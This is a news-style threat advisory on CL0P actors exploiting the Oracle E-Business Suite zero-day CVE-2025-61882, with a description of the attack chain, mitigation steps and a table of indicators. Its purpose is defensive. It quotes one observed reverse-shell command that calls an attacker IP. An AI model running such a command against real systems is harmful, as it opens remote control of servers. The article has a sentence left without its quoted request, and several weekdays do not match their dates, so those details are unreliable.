Google Issues Alert on CL0P Ransomware Actively Exploiting Oracle E-Business Suite Zero-Day

Organizations utilizing Oracle E-Business Suite are advised to apply the emergency patches released on Wed, Oct 4, 2025. These patches are critical to mitigate ongoing exploitation activities by CL0P extortion actors. Immediate action is necessary to secure databases from malicious templates.

Email Campaign Targeting Oracle E-Business Suite

Beginning Fri, Sep 29, 2025, a significant email campaign was identified by Google Threat Intelligence Group (GTIG) and Mandiant. This campaign targeted executives at numerous organizations, alleging the theft of sensitive data from Oracle E-Business Suite (EBS) environments. The messages were sent from compromised third-party accounts and included legitimate file listings dating back to mid-August.

Oracle reported on Mon, Oct 2, 2025, that vulnerabilities exploited by this campaign had been addressed in the July Critical Patch Update. Customers were urged to apply the latest updates immediately. On Wed, Oct 4, 2025, Oracle released emergency fixes specifically addressing CVE-2025-61882, reinforcing the necessity of keeping systems updated.

The campaign, attributed to a CL0P actor, utilized a multi-stage Java implant framework for months. Initial exploitation may have started as early as Thu, Jul 10, 2025. By Sat, Aug 9, 2025, the zero-day vulnerability CVE-2025-61882 was actively exploited against UiServlet and SyncServlet components. The framework includes Server-Side Request Forgery, CRLF injection, authentication bypass, and XSL template injection to achieve remote code execution.

In August, attackers exploited SyncServlet via:

They then used the XDO Template Manager to upload malicious XSL payloads to the XDO_TEMPLATES_B table. A template preview request triggers payload execution, allowing the XSL payload to decode a Base64 Java implant, instantiate a ScriptEngine, and evaluate attacker-controlled code.

Commands executed under the "applmgr" account included system reconnaissance and reverse shell connections:

bash -i >& /dev/tcp/200.107.207.26/53 0>&1

Two distinct Java chains—GOLDVEIN.JAVA downloader and a nested SAGE* reflective loader sequence culminating in SAGEWAVE—enable second-stage payload retrieval and persistent filter installation.

The critical first step is immediate patching: apply the Oracle emergency patches for CVE-2025-61882 without delay. Following patch deployment, review entries where TEMPLATE_CODE begins with “TMP” or “DEF.” Restrict outbound Internet access from EBS servers to block C2 communications.

This campaign highlights the strategic advantage of coupling zero-day exploitation with delayed extortion. By targeting public-facing enterprise applications, CL0P-affiliated actors can rapidly exfiltrate data at scale while avoiding early detection.

Monitor network logs for anomalous requests to /OA_HTML/configurator/UiServlet and the TemplatePreviewPG endpoint. Leverage memory forensics on Java processes to detect in-memory implants not visible on disk. Organizations must assume they remain prime targets and maintain rigorous patch and monitoring regimes.

Type Indicator Description

Network 200.107.207.26 IP address observed in exploitation attempts targeting UiServlet and SyncServlet components.

Network 161.97.99.49 IP address observed in exploitation attempts targeting the UiServlet component.

Network 162.55.17.215:443 GOLDVEIN.JAVA C2

Network 104.194.11.200:443 GOLDVEIN.JAVA C2

Network /OA_HTML/OA.jsp?page=/oracle/apps/xdo/oa/template/webui/TemplatePreviewPG... Indicator of an attempt to trigger the malicious XSL payload. Look for requests where TemplateCode begins with TMP or DEF.

Network /OA_HTML/configurator/UiServlet Endpoint targeted in the July 2025 exploitation activity.

Network /OA_HTML/SyncServlet Endpoint targeted in the August 2025 exploitation activity.

Network /help/state/content/destination./navId.1/navvSetId.iHelp/ HTTP path substring filtered for by SAGEWAVE

Based on reporting by GBHackers.